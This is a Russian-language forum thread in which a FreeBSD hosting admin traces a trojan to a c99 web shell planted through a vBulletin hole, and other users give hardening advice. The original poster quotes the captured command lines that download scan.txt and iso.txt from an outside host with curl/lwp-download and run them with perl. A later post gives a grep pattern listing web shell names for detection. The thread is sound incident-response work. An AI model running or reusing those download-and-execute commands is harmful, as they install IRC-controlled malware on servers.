Небольшой хостинговый сервер с FreeBSD 7.0 на борту.
Консоль управления ISPManager.Проблему заметили после того как сервак стал тормозить и в итоге перестал отвечать, пришлось аппаратно его ребутать.
Это было вызвано нехваткой своп-места и ресурсов из-за работы вирусного паука идентифицирующего себя как "Casper Bot Search".Процессы поубивал, начал разбираться.
Схема работы трояна:
1. Через какую-то дыру запускается скачка тела виря с удалённых хостов через curl или lwp-download
2. Эти файлы сохраняются в /tmp и /var/tmp
3. Из темпа запускаются эти файлики: perl iso.txt, например.Для управления собой конектяться на удалённые IRC сервера.
Файлы создаются с владельцем root и группой одного из юзерей хостинга. [странно очень]
Процессы выполняются от имени www, т.е. апача.
Еще эта скотина убивает апач и пытается под него замаскироваться, но не всегда как-то это у него выходило.Вот собстно файлы которые оно заливает мне: http://ifolder.ru/18374420.
Что сделано:
1. Т.к. файлики пытаются создаваться с одинаковыми именами, поэтому создал свои такие-же пустые, без права изменять их кому-либо. (один раз набор названий файлов всё же поменялся)
2. Закрыл исходящие соединения на порты IRC 6666-6669
3. Убил временно сurl и lwp-download.Прошла ночь - вирусные процессы не стартуют, уже хорошо.
Единственный лог где отражается активность виря, это errorlog дефолтного хоста апача.
Сейчас с интервалом 2-4 минуты появляются записи:
lwp-download: not found
curl: not found
т.е. скачать себя пытается, сволочь.
LogLevel debug - инфы не добавляет.Весь сервер уже прогрепил на тему lwp-download и имён скриптов виря - нету.
Собстно задача: найти дыру...
Помогайте, коллеги!
Сейчас вот идея пришла: надо сделать свой lwp-download и через него как-то отследить кто его вызывает.
Сейчас поищу как это реализовать...
Вот как оно запускается на скачку(выловил из ps):sh -c cd /var/tmp;cd /tmp;lwp-download http://www.myforefathersfineart.com/casper/scan.txt -O scan.txt;curl -O http://www.myforefathersfineart.com/casper/scan.txt -O scan.txt;perl scan.txt
sh -c cd /var/tmp;cd /tmp;lwp-download http://www.myforefathersfineart.com/casper/iso.txt -O iso.txt;curl -O http://www.myforefathersfineart.com/casper/iso.txt -O iso.txt;perl iso.txt irc.allnetwork.org
Parent - апач.
Значит точно или сам(что врядли), или какой-то из пользовательских скриптов.Как теперь проследить внутрь апача, какой сайт/скрипт это делал?
Да, проверял rkhunter и chkrootkit - ничего не нашли.
>Да, проверял rkhunter и chkrootkit - ничего не нашли.Судя по http://www.virustotal.com/ru/analisis/15f933c8f9930b82e5d356... ClamAV знает эти вирусы.
Установи его и просканируй.
>>Да, проверял rkhunter и chkrootkit - ничего не нашли.
>
>Судя по http://www.virustotal.com/ru/analisis/15f933c8f9930b82e5d356... ClamAV знает эти вирусы.
>Установи его и просканируй.Дырки ясно не нашёл, но понаходил шеллы и прочее у определенного пользователя, значит у них дыра - уже легче.
php-including ??? =)
почитай похожие темы http://www.xakep.ru/post/28749/default.asp
ага, или perl-including, через дырявые скрипты вообщем.
тока вот проблема найти через какой именно!
кол-во сайтов на сервере * кол-во скриптов = ппц
>ага, или perl-including, через дырявые скрипты вообщем.
>тока вот проблема найти через какой именно!
>кол-во сайтов на сервере * кол-во скриптов = ппцМогу посоветовать закрыть фаерволлом исходящие соединения с этого сервера (все, а не только на 6666-6669) - что бы зараза сама себя не докачивала. Если там только Апач, то ему исходящие нафик не нужны. Разрешить только входящие, и этого будет достаточно для его нормальной работы. Если нужно взаимодействие с сервером БД - разрешить исходящие на него, но не более того.
Ну и с учётом необходимости установления исходящих соединений в административных целях... Здесь уж Вам виднее что Вам необходимо, а что - нет.Далее - /tmp смонтируйте с опцией noexec, /var/tmp - залинкуйте на /tmp - это чтоб не було возможности ничего оттуда запускать. То же самое можно сделать и с /home, если нет необходимости запускать CGI сценарии.
Если не удаётся найти заразу с помощью grep, то, возможно, скрипт удаляет свой файл сразу после запуска. Тогда ловить действительно бесполезно. В Линуксе можно узнать из какого файла запущен процесс через псевдо-файловую систему /proc:
ronin@athlon:~$ !ps
ps -eaf|grep -i firefox
ronin 4059 3384 0 11:58 ? 00:00:00 ksystraycmd /usr/local/bin/firefox
ronin 4060 4059 0 11:58 ? 00:00:00 /bin/bash /usr/local/bin/firefox
ronin 4061 4060 6 11:58 ? 00:05:16 /usr/local/firefox-3.5.6/firefox-bin
ronin 4758 3947 0 13:15 pts/43 00:00:00 grep -i firefox
ronin@athlon:~$ ls -al /proc/4061/exe
lrwxrwxrwx 1 ronin ronin 0 2010-07-01 13:15 /proc/4061/exe -> /usr/local/firefox-3.5.6/firefox-bin
ronin@athlon:~$Как с этим в FreeBSD - не знаю, там таким не пользовался, но, возможно, тоже прокатит.
А вот то, что файлы создаются с владельцем root - это очень плохо. Я на 80% уверен, что поимели root-аккаунт, и лечиться уже бесполезно, необходимо сносить систему и ставить с ноля (и настраивать секурити получше); или же подменили бинарник апача (он стартует от рута; в этом случае надо переинсталлировать апач и убедиться что он нормально защищён - нельзя перезаписывать файл самого демона).respect,
ronin
>Процессы выполняются от имени www, т.е. апача.
>Еще эта скотина убивает апач и пытается под него замаскироваться, но не всегда как-то это >у него выходило.Вдогонку:
Если зараза стартует от апача - значит дыра в каком-то РНР-скрипте (они у Вас выполняются, наверное, без suPHP и не через CGI/FastCGI).
Если скотина убивает апач, то, скорее всего, только child-процессы, которые тоже выполняются с привилегиями apache (тоесть, parent-процесс, запущенный от рута, убить не по силам, а запустить свой екземпляр апача с привилегиями апача не получится в таком случае, потому что необходимые сокеты уже заняты). Значит, Вам надо ВСЕ скрипты запускать от юзера, отличного от apache.
respect,
ronin
>Если зараза стартует от апача - значит дыра в каком-то РНР-скрипте (они
>у Вас выполняются, наверное, без suPHP и не через CGI/FastCGI).Да, напрямую.
>Если скотина убивает апач, то, скорее всего, только child-процессы, которые тоже выполняются
>с привилегиями apache (тоесть, parent-процесс, запущенный от рута, убить не по
>силам, а запустить свой екземпляр апача с привилегиями апача не получится
>в таком случае, потому что необходимые сокеты уже заняты).Очень похоже что так и есть.
Я выше писал, что косвенно нашёл источник проблем, это подтвердилось:
через дыру в vBulletin заливали с99 шелл и с него уже рулили процессом.Теперь позатыкать всё найденное и смотреть чего будет :)
Всем спасибо!
Как правило, после взлома хакер оставляет пару резервных веб шеллов на случай обнаружения основного. Стучите в личку http://mega-admin.com (Exorcist) - бесплатно проверю на весь этот список:r57shell\|c99shell\|Cyber Shell\|GFS Web-Shell\|NFM 1.8\|Small Web Shell by ZaCo\|nsTView v2.1\|DxShell v1.0\|CTT Shell\|GRP WebShell\|Crystal shell\|Loaderz WEB Shell\|NIX REMOTE WEB SHELL\|Antichat Shell\|CasuS 1.5\|Sincap 1.0\|hiddens shell\|Web-shell\|Predator\|KA_uShell\|C2007Shell\ |Antichat Shell\|Rootshell\|c0derz shell\|iMHaBiRLiGi Php FTP\|PHVayv\|phpRemoteView\|STNC WebShell v0.8\|MyShell\|ZyklonShell\|AK-74 Security Team Web Shell\|c2007\|gfs shell\|iMHaPFtp\|ncc shell\|nshell\|phpjackal\|phvayv\|Rem View\
>[оверквотинг удален]
>
>Очень похоже что так и есть.
>
>Я выше писал, что косвенно нашёл источник проблем, это подтвердилось:
>через дыру в vBulletin заливали с99 шелл и с него уже рулили
>процессом.
>
>Теперь позатыкать всё найденное и смотреть чего будет :)
>
>Всем спасибо!Присоединяюсь к автору статьи.
Мои хостинг на FreeBSD так же подвергался атакам, описанным выше.
Проблема была в дыре в cms e107. Подробнее тут:
http://php-security.org/2010/05/19/mops-2010-035-e107-bbcode...закрыл, полет нормальный.
кстати, кто использует phpThumb? насколько опасна его уязвимость в fltr?спасибо.